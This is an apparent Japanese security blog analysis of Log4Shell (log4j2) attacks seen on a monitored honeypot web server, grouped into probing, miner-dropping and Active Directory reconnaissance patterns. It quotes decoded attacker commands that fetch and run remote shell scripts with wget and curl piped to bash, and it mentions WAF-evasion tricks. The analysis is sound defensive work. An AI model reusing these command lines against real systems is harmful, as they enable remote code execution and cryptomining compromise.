Verizon NDRによる監視について
実験用のWebサーバは、http(Port:80)/https(Port:443)を公開しており、ネットワークトラフィックを弊社で取り扱っているVerizon NDRで、監視しています。
httpsに関しては、Reverse ProxyでTLSを終端しており、バックエンドのWebサーバへのトラフィックは、デコードされた状態で監視できる状態となっています。
Verizon NDR画面
攻撃内容の調査について
攻撃は、log4j2の脆弱性を利用したLDAP等のクエリとクラスファイルのダウンロードを用いて行われます。そこで、ダウンロードされたクラスファイルを逆コンパイルすることで、攻撃者の意図を知ることができます。
JNDIの外部参照のメカニズムはシンプルですので、通信に関しては容易にシミュレート可能です。今回の調査でも curlコマンドを用いてシミュレートしています。
Curlコマンドを用いたシミュレーションの例
検知された攻撃の意図
Verizon NDRで検知されたlog4j2の脆弱性を狙った攻撃は、複数のパターンがありましたので、それぞれ何をしようとしているのかを追いかけてみました。
その1: 調査目的
(1)kryptoslogic-cve-2021-44228.com http://kryptoslogic-cve-2021-44228.com/ によると調査用とのことですので、深追いはしていません。
(2)ldapp://[random文字列].canarytokens.com/a こちらも調査用とのことで、random文字列部分のDNSクエリが飛んだか否かで、脆弱性の有無をチェックしている模様。
その2:意図不明(接続不可)
(1)LDAP URLのパス部にBase64文字列が含まれていて、Base64文字列部分をデコードすると
wget http://[IP Addr] /lh.sh;chmod +x lh.sh;./lh.sh
のようにwgetコマンドが含まれているもの
→ 特定ホストからシェルスクリプトをダウンロードしようとするものと思われますが、LDAP, HTTP共にすでに接続が不可能だったため、詳細は不明です。
(2)LDAP URLにBase64文字列が含まれていて、Base64文字列部分をデコードすると
(curl -s [IP Addr]:5874/[攻撃を受けたIPアドレス]:80||wget -q -O- [IP Addr]:5874/[攻撃を受けたIPアドレス]:80)|bash
となっているもの
→リクエストのクエリパラメタ、User-Agent、Refererに攻撃文字列が含まれていました。
LDAPでの接続は可能で、ダウンロード対象のクラス名は Exploit+[ランダム文字列] と動的に変化していました。ただ、クラスファイルのダウンロードは不可能だったため、正確な意図は不明です。
その3:マイニング LDAP URLが[Host]:1389/Exploit のもので、攻撃文字列はRequest Headerの User-Agent, Authorization (Basic, Bearer, OAuth)などとして含まれています。 攻撃状況を見ると、最も試行回数が多いものです。また、接続先となるIPアドレス、UserAgentなどのバリエーションなども多くあります。
LDAP接続、クラスのダウンロード共に可能で、クラス名は Exploitです。 Exploitクラスでは、外部コマンドを実行(wget/curl)することで、実行可能だったホストの記録として外部サーバに情報を残すと共に、windowsの場合のみ、powershellによって外部のスクリプトファイルをダウンロードします。 ダウンロードしたスクリプトファイルの内部では、exeファイルをさらにダウンロードして、実行しています。exeファイルは 暗号通貨のMoneroのマイニングツールでしたので、マイニングを狙ったものと考えられます。
ソースコードのうち、外部コマンドの実行部分はその2-(2)のBase64文字列部分と似通ったものとなっていました。クラス名の類似性(Exploit)もあり、その2のBase64を利用した実装は、この3からの派生 (動的なコマンド埋め込みが追加された?)が疑われます。
その4: 組織内の調査
LDAP URLが[Host]:1389/tのもので、攻撃文字列はUser-Agentに含まれるのみですが、文字列にはWAF等のフィルタ回避策がとられています。
LDAP接続、クラスのダウンロード共に可能で、クラス名は Runnerでした。
Runnerクラスでは、実行環境のOSのチェックを行い、Windowsの場合のみpowershellコマンドを実行します。Powershellコマンドでは、ActiveDirectoryに接続して、最近ログインのあったコンピュータ(PC)をリストアップしてカウントし、カウント数を外部のサーバに送信していました。
挙動としては調査だけですが、ADに接続し、PCの台数を見ることで、次の攻撃の参考情報として利用する可能性が考えられます。
まとめ
今回のlog4j2の脆弱性については、いわゆる0-dayとして対策が追いつかないうちに脆弱性が広まり、また、それを踏まえた攻撃もすぐに多く行われました。今回は行動の「早い」攻撃者の意図を探ってみました。
「その3」のコード自体は、サンプルコードの域を出ていないものでしたが、コードがすぐに流通したこと、また、マイニングという、ある意味わかりやすい用途であり、多数の類似した攻撃が継続的に行われている事から「カジュアル」な攻撃者が、容易にサンプルコードが利用できていることが推測されます。
一方で、「その4」のコードは、「その3」と比べると洗練された印象があり、また、実行内容も次の攻撃、例えばランサムウェアの送り込みなど、より大きな攻撃に繋げようという意図が感じられます。
各地で脆弱性への対応は進んでいるかと思いますが、攻撃は引き続き行われています。今後は無差別のスキャン的攻撃が引き続き多数を占めるものの、そこから標的を絞った攻撃への遷移が発生して、より大きな被害が出る可能性が考えられます。
コメント